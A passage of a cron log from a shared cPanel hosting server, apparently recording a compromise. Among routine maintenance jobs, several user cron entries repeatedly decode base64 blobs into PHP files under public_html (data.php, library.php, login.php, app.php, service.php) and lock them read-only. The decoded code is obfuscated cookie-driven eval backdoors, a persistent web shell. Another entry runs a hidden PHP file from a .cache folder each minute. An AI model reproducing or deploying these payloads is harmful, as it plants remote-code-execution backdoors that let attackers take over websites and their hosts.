"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:03:01 medusa CROND[28985]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:03:01 medusa CROND[28987]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:04:01 medusa CROND[16192]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:04:02 medusa CROND[16268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:04:02 medusa CROND[16288]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:04:02 medusa CROND[16289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:04:02 medusa CROND[16290]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:04:02 medusa CROND[16292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:04:02 medusa CROND[16294]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:04:02 medusa CROND[16295]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:04:02 medusa CROND[16293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:04:02 medusa CROND[16302]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:04:02 medusa CROND[16303]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:04:02 medusa CROND[16305]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:04:02 medusa CROND[16327]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:05:01 medusa CROND[6075]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:05:02 medusa CROND[6247]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:05:02 medusa CROND[6248]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:05:02 medusa CROND[6249]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:05:02 medusa CROND[6250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:05:02 medusa CROND[6257]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:05:02 medusa CROND[6256]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 11:05:02 medusa CROND[6258]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:05:02 medusa CROND[6260]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:05:02 medusa CROND[6262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:05:02 medusa CROND[6263]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:05:02 medusa CROND[6259]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:05:02 medusa CROND[6264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:05:02 medusa CROND[6265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:05:02 medusa CROND[6273]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 11:05:02 medusa CROND[6275]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:05:02 medusa CROND[6261]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:05:02 medusa CROND[6278]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:05:02 medusa CROND[6281]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:05:02 medusa CROND[6283]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:05:02 medusa CROND[6284]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCd